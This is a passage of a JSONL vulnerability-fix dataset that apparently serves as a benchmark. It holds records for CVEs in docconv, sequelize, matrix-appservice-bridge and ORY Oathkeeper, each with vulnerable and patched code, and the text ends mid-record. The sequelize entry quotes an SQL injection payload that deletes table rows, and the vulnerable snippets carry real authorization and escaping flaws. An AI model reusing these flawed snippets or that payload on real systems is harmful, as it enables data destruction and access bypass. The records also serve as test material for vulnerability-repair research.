ghcr.io/anonymous2578-data/cve-2022-4643:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/docconv\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -tags=ocr -timeout 30s -run '^TestPDFHasImage_CannotExecuteCode$' \n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-4643:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/docconv\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -tags=ocr -timeout 30s -run '(^TestPDFHasImage_NoCommandInjectionSideEffects$|^TestPDFHasImage_PassesFullPath$)' \n"}
{"cve_id": "CVE-2016-10556", "cve_description": "sequelize is an Object-relational mapping, or a middleman to convert things from Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server into usable data for NodeJS In Postgres, SQLite, and Microsoft SQL Server there is an issue where arrays are treated as strings and improperly escaped. This causes potential SQL injection in sequelize 3.19.3 and earlier, where a malicious user could put `[\"test\", \"'); DELETE TestTable WHERE Id = 1 --')\"]` inside of ``` database.query('SELECT * FROM TestTable WHERE Name IN (:names)', { replacements: { names: directCopyOfUserInput } }); ``` and cause the SQL statement to become `SELECT Id FROM Table WHERE Name IN ('test', '\\'); DELETE TestTable WHERE Id = 1 --')`. In Postgres, MSSQL, and SQLite, the backslash has no special meaning. This causes the the statement to delete whichever Id has a value of 1 in the TestTable table.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/sequelize/sequelize", "patch_url": ["https://github.com/sequelize/sequelize/commit/23952a2b020cc3571f090e67dae7feb084e1be71"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_111_1", "commit": "04695d9", "file_path": "lib/sql-string.js", "start_line": 15, "end_line": 76, "snippet": "SqlString.escape = function(val, timeZone, dialect, format) {\n  var prependN = false;\n  if (val === undefined || val === null) {\n    return 'NULL';\n  }\n  switch (typeof val) {\n  case 'boolean':\n    // SQLite doesn't have true/false support. MySQL aliases true/false to 1/0\n    // for us. Postgres actually has a boolean type with true/false literals,\n    // but sequelize doesn't use it yet.\n    if (dialect === 'sqlite' || dialect === 'mssql') {\n      return +!!val;\n    }\n    return '' + !!val;\n  case 'number':\n    return val + '';\n  case 'string':\n    // In mssql, prepend N to all quoted vals which are originally a string (for\n    // unicode compatibility)\n    prependN = dialect === 'mssql';\n    break;\n  }\n\n  if (val instanceof Date) {\n    val = dataTypes[dialect].DATE.prototype.stringify(val, { timezone: timeZone });\n  }\n\n  if (Buffer.isBuffer(val)) {\n    if (dataTypes[dialect].BLOB) {\n      return dataTypes[dialect].BLOB.prototype.stringify(val);\n    }\n\n    return dataTypes.BLOB.prototype.stringify(val);\n  }\n\n  if (Array.isArray(val)) {\n    var escape = _.partialRight(SqlString.escape, timeZone, dialect);\n    if (dialect === 'postgres' && !format) {\n      return dataTypes.ARRAY.prototype.stringify(val, {escape: escape});\n    }\n    return val.map(escape);\n  }\n\n  if (dialect === 'postgres' || dialect === 'sqlite' || dialect === 'mssql') {\n    // http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS\n    // http://stackoverflow.com/q/603572/130598\n    val = val.replace(/'/g, \"''\");\n  } else {\n    val = val.replace(/[\\0\\n\\r\\b\\t\\\\\\'\\\"\\x1a]/g, function(s) {\n      switch (s) {\n        case '\\0': return '\\\\0';\n        case '\\n': return '\\\\n';\n        case '\\r': return '\\\\r';\n        case '\\b': return '\\\\b';\n        case '\\t': return '\\\\t';\n        case '\\x1a': return '\\\\Z';\n        default: return '\\\\' + s;\n      }\n    });\n  }\n  return (prependN ? \"N'\" : \"'\") + val + \"'\";\n};"}], "fix_func": [{"id": "fix_js_111_1", "commit": "23952a2", "file_path": "lib/sql-string.js", "start_line": 15, "end_line": 76, "snippet": "SqlString.escape = function(val, timeZone, dialect, format) {\n  var prependN = false;\n  if (val === undefined || val === null) {\n    return 'NULL';\n  }\n  switch (typeof val) {\n  case 'boolean':\n    // SQLite doesn't have true/false support. MySQL aliases true/false to 1/0\n    // for us. Postgres actually has a boolean type with true/false literals,\n    // but sequelize doesn't use it yet.\n    if (dialect === 'sqlite' || dialect === 'mssql') {\n      return +!!val;\n    }\n    return '' + !!val;\n  case 'number':\n    return val + '';\n  case 'string':\n    // In mssql, prepend N to all quoted vals which are originally a string (for\n    // unicode compatibility)\n    prependN = dialect === 'mssql';\n    break;\n  }\n\n  if (val instanceof Date) {\n    val = dataTypes[dialect].DATE.prototype.stringify(val, { timezone: timeZone });\n  }\n\n  if (Buffer.isBuffer(val)) {\n    if (dataTypes[dialect].BLOB) {\n      return dataTypes[dialect].BLOB.prototype.stringify(val);\n    }\n\n    return dataTypes.BLOB.prototype.stringify(val);\n  }\n\n  if (Array.isArray(val)) {\n    var escape = _.partial(SqlString.escape, _, timeZone, dialect, format);\n    if (dialect === 'postgres' && !format) {\n      return dataTypes.ARRAY.prototype.stringify(val, {escape: escape});\n    }\n    return val.map(escape);\n  }\n\n  if (dialect === 'postgres' || dialect === 'sqlite' || dialect === 'mssql') {\n    // http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS\n    // http://stackoverflow.com/q/603572/130598\n    val = val.replace(/'/g, \"''\");\n  } else {\n    val = val.replace(/[\\0\\n\\r\\b\\t\\\\\\'\\\"\\x1a]/g, function(s) {\n      switch (s) {\n        case '\\0': return '\\\\0';\n        case '\\n': return '\\\\n';\n        case '\\r': return '\\\\r';\n        case '\\b': return '\\\\b';\n        case '\\t': return '\\\\t';\n        case '\\x1a': return '\\\\Z';\n        default: return '\\\\' + s;\n      }\n    });\n  }\n  return (prependN ? \"N'\" : \"'\") + val + \"'\";\n};"}], "vul_patch": "--- a/lib/sql-string.js\n+++ b/lib/sql-string.js\n@@ -34,7 +34,7 @@\n   }\n \n   if (Array.isArray(val)) {\n-    var escape = _.partialRight(SqlString.escape, timeZone, dialect);\n+    var escape = _.partial(SqlString.escape, _, timeZone, dialect, format);\n     if (dialect === 'postgres' && !format) {\n       return dataTypes.ARRAY.prototype.stringify(val, {escape: escape});\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32659", "cve_description": "Matrix-appservice-bridge is the bridging service for the Matrix communication program's application services. In versions 2.6.0 and earlier, if a bridge has room upgrade handling turned on in the configuration (the `roomUpgradeOpts` key when instantiating a new `Bridge` instance.), any `m.room.tombstone` event it encounters will be used to unbridge the current room and bridge into the target room. However, the target room `m.room.create` event is not checked to verify if the `predecessor` field contains the previous room. This means that any malicious admin of a bridged room can repoint the traffic to a different room without the new room being aware. Versions 2.6.1 and greater are patched. As a workaround, disabling the automatic room upgrade handling can be done by removing the `roomUpgradeOpts` key from the `Bridge` class options.", "cwe_info": {"CWE-306": {"name": "Missing Authentication for Critical Function", "description": "The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources."}}, "repo": "https://github.com/matrix-org/matrix-appservice-bridge", "patch_url": ["https://github.com/matrix-org/matrix-appservice-bridge/commit/b69e745584a34fcfd858df33e4631e420da07b9f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_82_1", "commit": "1b587e2", "file_path": "src/components/room-upgrade-handler.ts", "start_line": "145", "end_line": "182", "snippet": "    private async onJoinedNewRoom(oldRoomId: string, newRoomId: string) {\n        log.debug(`Joined ${newRoomId}`);\n        const intent = this.bridge.getIntent();\n        const asBot = this.bridge.getBot();\n        if (this.opts.migrateStoreEntries) {\n            const success = await this.migrateStoreEntries(oldRoomId, newRoomId);\n            if (!success) {\n                log.error(\"Failed to migrate room entries. Not continuing with migration.\");\n                return false;\n            }\n        }\n\n        log.debug(`Migrated entries from ${oldRoomId} to ${newRoomId} successfully.`);\n        if (this.opts.onRoomMigrated) {\n            // This may or may not be a promise, so await it.\n            await this.opts.onRoomMigrated(oldRoomId, newRoomId);\n        }\n\n        if (!this.opts.migrateGhosts) {\n            return false;\n        }\n        try {\n            const members = await asBot.getJoinedMembers(oldRoomId);\n            const userIds = Object.keys(members).filter((u) => asBot.isRemoteUser(u));\n            log.debug(`Migrating ${userIds.length} ghosts`);\n            for (const userId of userIds) {\n                const i = this.bridge.getIntent(userId);\n                await i.leave(oldRoomId);\n                await i.join(newRoomId);\n            }\n            intent.leave(oldRoomId);\n        }\n        catch (ex) {\n            log.warn(\"Failed to migrate ghosts\", ex);\n            return false;\n        }\n        return true;\n    }"}], "fix_func": [{"id": "fix_js_82_1", "commit": "b69e745", "file_path": "src/components/room-upgrade-handler.ts", "start_line": "145", "end_line": "189", "snippet": "    private async onJoinedNewRoom(oldRoomId: string, newRoomId: string) {\n        log.debug(`Joined ${newRoomId}`);\n        const intent = this.bridge.getIntent();\n        const { predecessor } = await intent.getStateEvent(newRoomId, 'm.room.create');\n        if (predecessor.room_id !== oldRoomId) {\n            log.error(\n    `Room doesn't have a matching predecessor (expected: ${oldRoomId}, got: ${predecessor.room_id}), not bridging.`\n            );\n            return false;\n        }\n        const asBot = this.bridge.getBot();\n        if (this.opts.migrateStoreEntries) {\n            const success = await this.migrateStoreEntries(oldRoomId, newRoomId);\n            if (!success) {\n                log.error(\"Failed to migrate room entries. Not continuing with migration.\");\n                return false;\n            }\n        }\n\n        log.debug(`Migrated entries from ${oldRoomId} to ${newRoomId} successfully.`);\n        if (this.opts.onRoomMigrated) {\n            // This may or may not be a promise, so await it.\n            await this.opts.onRoomMigrated(oldRoomId, newRoomId);\n        }\n\n        if (!this.opts.migrateGhosts) {\n            return false;\n        }\n        try {\n            const members = await asBot.getJoinedMembers(oldRoomId);\n            const userIds = Object.keys(members).filter((u) => asBot.isRemoteUser(u));\n            log.debug(`Migrating ${userIds.length} ghosts`);\n            for (const userId of userIds) {\n                const i = this.bridge.getIntent(userId);\n                await i.leave(oldRoomId);\n                await i.join(newRoomId);\n            }\n            intent.leave(oldRoomId);\n        }\n        catch (ex) {\n            log.warn(\"Failed to migrate ghosts\", ex);\n            return false;\n        }\n        return true;\n    }"}], "vul_patch": "--- a/src/components/room-upgrade-handler.ts\n+++ b/src/components/room-upgrade-handler.ts\n@@ -1,6 +1,13 @@\n     private async onJoinedNewRoom(oldRoomId: string, newRoomId: string) {\n         log.debug(`Joined ${newRoomId}`);\n         const intent = this.bridge.getIntent();\n+        const { predecessor } = await intent.getStateEvent(newRoomId, 'm.room.create');\n+        if (predecessor.room_id !== oldRoomId) {\n+            log.error(\n+    `Room doesn't have a matching predecessor (expected: ${oldRoomId}, got: ${predecessor.room_id}), not bridging.`\n+            );\n+            return false;\n+        }\n         const asBot = this.bridge.getBot();\n         if (this.opts.migrateStoreEntries) {\n             const success = await this.migrateStoreEntries(oldRoomId, newRoomId);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32701", "cve_description": "ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/ory/oathkeeper", "patch_url": ["https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932"], "programing_language": "Go", "vul_func": [{"id": "vul_go_56_2", "commit": "64ac756", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 97, "end_line": 115, "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string) (*AuthenticatorOAuth2IntrospectionResult, bool) {\n\tif !config.Cache.Enabled {\n\t\treturn nil, false\n\t}\n\n\titem, found := a.tokenCache.Get(token)\n\tif !found {\n\t\treturn nil, false\n\t}\n\n\ti := item.(*AuthenticatorOAuth2IntrospectionResult)\n\texpires := time.Unix(i.Expires, 0)\n\tif expires.Before(time.Now()) {\n\t\ta.tokenCache.Del(token)\n\t\treturn nil, false\n\t}\n\n\treturn i, true\n}"}, {"id": "vul_go_56_3", "commit": "64ac756", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 117, "end_line": 127, "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string) {\n\tif !config.Cache.Enabled {\n\t\treturn\n\t}\n\n\tif a.cacheTTL != nil {\n\t\ta.tokenCache.SetWithTTL(token, i, 1, *a.cacheTTL)\n\t} else {\n\t\ta.tokenCache.Set(token, i, 1)\n\t}\n}"}, {"id": "vul_go_56_4", "commit": "64ac756", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 152, "end_line": 250, "snippet": "func (a *AuthenticatorOAuth2Introspection) Authenticate(r *http.Request, session *AuthenticationSession, config json.RawMessage, _ pipeline.Rule) error {\n\tcf, client, err := a.Config(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken := helper.BearerTokenFromRequest(r, cf.BearerTokenLocation)\n\tif token == \"\" {\n\t\treturn errors.WithStack(ErrAuthenticatorNotResponsible)\n\t}\n\n\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.scope_strategy\")\n\n\ti, ok := a.tokenFromCache(cf, token)\n\tif !ok {\n\t\tbody := url.Values{\"token\": {token}}\n\n\t\tif ss == nil {\n\t\t\tbody.Add(\"scope\", strings.Join(cf.Scopes, \" \"))\n\t\t}\n\n\t\tintrospectReq, err := http.NewRequest(http.MethodPost, cf.IntrospectionURL, strings.NewReader(body.Encode()))\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tfor key, value := range cf.IntrospectionRequestHeaders {\n\t\t\tintrospectReq.Header.Set(key, value)\n\t\t}\n\t\t// set/override the content-type header\n\t\tintrospectReq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t\t// add tracing\n\t\tcloseSpan := a.traceRequest(r.Context(), introspectReq)\n\n\t\tresp, err := client.Do(introspectReq.WithContext(r.Context()))\n\n\t\t// close the span so it represents just the http request\n\t\tcloseSpan()\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn errors.Errorf(\"Introspection returned status code %d but expected %d\", resp.StatusCode, http.StatusOK)\n\t\t}\n\n\t\tif err := json.NewDecoder(resp.Body).Decode(&i); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\n\t\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n\t\t}\n\n\t\tif !i.Active {\n\t\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token i says token is not active\"))\n\t\t}\n\n\t\tfor _, audience := range cf.Audience {\n\t\t\tif !stringslice.Has(i.Audience, audience) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n\t\t\t}\n\t\t}\n\n\t\tif len(cf.Issuers) > 0 {\n\t\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n\t\t\t}\n\t\t}\n\n\t\tif ss != nil {\n\t\t\tfor _, scope := range cf.Scopes {\n\t\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n\t\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(i.Extra) == 0 {\n\t\t\ti.Extra = map[string]interface{}{}\n\t\t}\n\n\t\ti.Extra[\"username\"] = i.Username\n\t\ti.Extra[\"client_id\"] = i.ClientID\n\t\ti.Extra[\"scope\"] = i.Scope\n\n\t\tif len(i.Audience) != 0 {\n\t\t\ti.Extra[\"aud\"] = i.Audience\n\t\t}\n\n\t\ta.tokenToCache(cf, i, token)\n\t}\n\n\tsession.Subject = i.Subject\n\tsession.Extra = i.Extra\n\n\treturn nil\n}"}, {"id": "vul_go_56_5", "commit": "64ac756", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 261, "end_line": 341, "snippet": "func (a *AuthenticatorOAuth2Introspection) Config(config json.RawMessage) (*AuthenticatorOAuth2IntrospectionConfiguration, *http.Client, error) {\n\tvar c AuthenticatorOAuth2IntrospectionConfiguration\n\tif err := a.c.AuthenticatorConfig(a.GetID(), config, &c); err != nil {\n\t\treturn nil, nil, NewErrAuthenticatorMisconfigured(a, err)\n\t}\n\n\tclientKey := fmt.Sprintf(\"%x\", md5.Sum([]byte(config)))\n\ta.mu.RLock()\n\tclient, ok := a.clientMap[clientKey]\n\ta.mu.RUnlock()\n\n\tif !ok {\n\t\ta.logger.Debug(\"Initializing http client\")\n\t\tvar rt http.RoundTripper\n\t\tif c.PreAuth != nil && c.PreAuth.Enabled {\n\t\t\tvar ep url.Values\n\n\t\t\tif c.PreAuth.Audience != \"\" {\n\t\t\t\tep = url.Values{\"audience\": {c.PreAuth.Audience}}\n\t\t\t}\n\n\t\t\trt = (&clientcredentials.Config{\n\t\t\t\tClientID:       c.PreAuth.ClientID,\n\t\t\t\tClientSecret:   c.PreAuth.ClientSecret,\n\t\t\t\tScopes:         c.PreAuth.Scope,\n\t\t\t\tEndpointParams: ep,\n\t\t\t\tTokenURL:       c.PreAuth.TokenURL,\n\t\t\t}).Client(context.Background()).Transport\n\t\t}\n\n\t\tif c.Retry == nil {\n\t\t\tc.Retry = &AuthenticatorOAuth2IntrospectionRetryConfiguration{Timeout: \"500ms\", MaxWait: \"1s\"}\n\t\t} else {\n\t\t\tif c.Retry.Timeout == \"\" {\n\t\t\t\tc.Retry.Timeout = \"500ms\"\n\t\t\t}\n\t\t\tif c.Retry.MaxWait == \"\" {\n\t\t\t\tc.Retry.MaxWait = \"1s\"\n\t\t\t}\n\t\t}\n\t\tduration, err := time.ParseDuration(c.Retry.Timeout)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ttimeout := time.Millisecond * duration\n\n\t\tmaxWait, err := time.ParseDuration(c.Retry.MaxWait)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tclient = httpx.NewResilientClientLatencyToleranceConfigurable(rt, timeout, maxWait)\n\t\ta.mu.Lock()\n\t\ta.clientMap[clientKey] = client\n\t\ta.mu.Unlock()\n\t}\n\n\tif c.Cache.TTL != \"\" {\n\t\tcacheTTL, err := time.ParseDuration(c.Cache.TTL)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ta.cacheTTL = &cacheTTL\n\t}\n\n\tif a.tokenCache == nil {\n\t\ta.logger.Debugf(\"Creating cache with max cost: %d\", c.Cache.MaxCost)\n\t\tcache, _ := ristretto.NewCache(&ristretto.Config{\n\t\t\t// This will hold about 1000 unique mutation responses.\n\t\t\tNumCounters: 10000,\n\t\t\t// Allocate a max\n\t\t\tMaxCost: int64(c.Cache.MaxCost),\n\t\t\t// This is a best-practice value.\n\t\t\tBufferItems: 64,\n\t\t})\n\n\t\ta.tokenCache = cache\n\t}\n\n\treturn &c, client, nil\n}"}], "fix_func": [{"id": "fix_go_56_1", "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 3, "end_line": 31, "snippet": "import (\n\t\"context\"\n\t\"crypto/md5\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/ory/fosite\"\n\n\t\"github.com/dgraph-io/ristretto\"\n\n\t\"github.com/opentracing/opentracing-go\"\n\t\"github.com/opentracing/opentracing-go/ext\"\n\n\t\"github.com/pkg/errors\"\n\t\"golang.org/x/oauth2/clientcredentials\"\n\n\t\"github.com/ory/go-convenience/stringslice\"\n\t\"github.com/ory/x/httpx\"\n\t\"github.com/ory/x/logrusx\"\n\n\t\"github.com/ory/oathkeeper/driver/configuration\"\n\t\"github.com/ory/oathkeeper/helper\"\n\t\"github.com/ory/oathkeeper/pipeline\"\n)"}, {"id": "fix_go_56_2", "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 99, "end_line": 119, "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string, ss fosite.ScopeStrategy) *AuthenticatorOAuth2IntrospectionResult {\n\tif !config.Cache.Enabled {\n\t\treturn nil\n\t}\n\n\tif ss == nil && len(config.Scopes) > 0 {\n\t\treturn nil\n\t}\n\n\titem, found := a.tokenCache.Get(token)\n\tif !found {\n\t\treturn nil\n\t}\n\n\ti, ok := item.(*AuthenticatorOAuth2IntrospectionResult)\n\tif !ok {\n\t\treturn nil\n\t}\n\n\treturn i\n}"}, {"id": "fix_go_56_3", "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 121, "end_line": 135, "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string, ss fosite.ScopeStrategy) {\n\tif !config.Cache.Enabled {\n\t\treturn\n\t}\n\n\tif ss == nil && len(config.Scopes) > 0 {\n\t\treturn\n\t}\n\n\tif a.cacheTTL != nil {\n\t\ta.tokenCache.SetWithTTL(token, i, 1, *a.cacheTTL)\n\t} else {\n\t\ta.tokenCache.Set(token, i, 1)\n\t}\n}"}, {"id": "fix_go_56_4", "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 160, "end_line": 265, "snippet": "func (a *AuthenticatorOAuth2Introspection) Authenticate(r *http.Request, session *AuthenticationSession, config json.RawMessage, _ pipeline.Rule) error {\n\tcf, client, err := a.Config(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken := helper.BearerTokenFromRequest(r, cf.BearerTokenLocation)\n\tif token == \"\" {\n\t\treturn errors.WithStack(ErrAuthenticatorNotResponsible)\n\t}\n\n\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.config.scope_strategy\")\n\n\ti := a.tokenFromCache(cf, token, ss)\n\n\t// If the token can not be found, and the scope strategy is nil, and the required scope list\n\t// is not empty, then we can not use the cache.\n\tif i == nil {\n\t\tbody := url.Values{\"token\": {token}}\n\t\tif ss == nil {\n\t\t\tbody.Add(\"scope\", strings.Join(cf.Scopes, \" \"))\n\t\t}\n\n\t\tintrospectReq, err := http.NewRequest(http.MethodPost, cf.IntrospectionURL, strings.NewReader(body.Encode()))\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\n\t\tfor key, value := range cf.IntrospectionRequestHeaders {\n\t\t\tintrospectReq.Header.Set(key, value)\n\t\t}\n\t\t// set/override the content-type header\n\t\tintrospectReq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t\t// add tracing\n\t\tcloseSpan := a.traceRequest(r.Context(), introspectReq)\n\n\t\tresp, err := client.Do(introspectReq.WithContext(r.Context()))\n\n\t\t// close the span so it represents just the http request\n\t\tcloseSpan()\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn errors.Errorf(\"Introspection returned status code %d but expected %d\", resp.StatusCode, http.StatusOK)\n\t\t}\n\n\t\tif err := json.NewDecoder(resp.Body).Decode(&i); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t}\n\n\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n\t}\n\n\tif !i.Active {\n\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token is not active\"))\n\t}\n\n\tif i.Expires > 0 && time.Unix(i.Expires, 0).Before(time.Now()) {\n\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token expired\"))\n\t}\n\n\tfor _, audience := range cf.Audience {\n\t\tif !stringslice.Has(i.Audience, audience) {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n\t\t}\n\t}\n\n\tif len(cf.Issuers) > 0 {\n\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n\t\t}\n\t}\n\n\tif ss != nil {\n\t\tfor _, scope := range cf.Scopes {\n\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n\t\t\t}\n\t\t}\n\t}\n\n\ta.tokenToCache(cf, i, token, ss)\n\n\tif len(i.Extra) == 0 {\n\t\ti.Extra = map[string]interface{}{}\n\t}\n\n\ti.Extra[\"username\"] = i.Username\n\ti.Extra[\"client_id\"] = i.ClientID\n\ti.Extra[\"scope\"] = i.Scope\n\n\tif len(i.Audience) != 0 {\n\t\ti.Extra[\"aud\"] = i.Audience\n\t}\n\n\tsession.Subject = i.Subject\n\tsession.Extra = i.Extra\n\n\treturn nil\n}"}, {"id": "fix_go_56_5", "commit": "1f9f625c1a49e134ae2299ee95b8cf158feec932", "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go", "start_line": 276, "end_line": 363, "snippet": "func (a *AuthenticatorOAuth2Introspection) Config(config json.RawMessage) (*AuthenticatorOAuth2IntrospectionConfiguration, *http.Client, error) {\n\tvar c AuthenticatorOAuth2IntrospectionConfiguration\n\tif err := a.c.AuthenticatorConfig(a.GetID(), config, &c); err != nil {\n\t\treturn nil, nil, NewErrAuthenticatorMisconfigured(a, err)\n\t}\n\n\tclientKey := fmt.Sprintf(\"%x\", md5.Sum([]byte(config)))\n\ta.mu.RLock()\n\tclient, ok := a.clientMap[clientKey]\n\ta.mu.RUnlock()\n\n\tif !ok {\n\t\ta.logger.Debug(\"Initializing http client\")\n\t\tvar rt http.RoundTripper\n\t\tif c.PreAuth != nil && c.PreAuth.Enabled {\n\t\t\tvar ep url.Values\n\n\t\t\tif c.PreAuth.Audience != \"\" {\n\t\t\t\tep = url.Values{\"audience\": {c.PreAuth.Audience}}\n\t\t\t}\n\n\t\t\trt = (&clientcredentials.Config{\n\t\t\t\tClientID:       c.PreAuth.ClientID,\n\t\t\t\tClientSecret:   c.PreAuth.ClientSecret,\n\t\t\t\tScopes:         c.PreAuth.Scope,\n\t\t\t\tEndpointParams: ep,\n\t\t\t\tTokenURL:       c.PreAuth.TokenURL,\n\t\t\t}).Client(context.Background()).Transport\n\t\t}\n\n\t\tif c.Retry == nil {\n\t\t\tc.Retry = &AuthenticatorOAuth2IntrospectionRetryConfiguration{Timeout: \"500ms\", MaxWait: \"1s\"}\n\t\t} else {\n\t\t\tif c.Retry.Timeout == \"\" {\n\t\t\t\tc.Retry.Timeout = \"500ms\"\n\t\t\t}\n\t\t\tif c.Retry.MaxWait == \"\" {\n\t\t\t\tc.Retry.MaxWait = \"1s\"\n\t\t\t}\n\t\t}\n\t\tduration, err := time.ParseDuration(c.Retry.Timeout)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ttimeout := time.Millisecond * duration\n\n\t\tmaxWait, err := time.ParseDuration(c.Retry.MaxWait)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tclient = httpx.NewResilientClientLatencyToleranceConfigurable(rt, timeout, maxWait)\n\t\ta.mu.Lock()\n\t\ta.clientMap[clientKey] = client\n\t\ta.mu.Unlock()\n\t}\n\n\tif c.Cache.TTL != \"\" 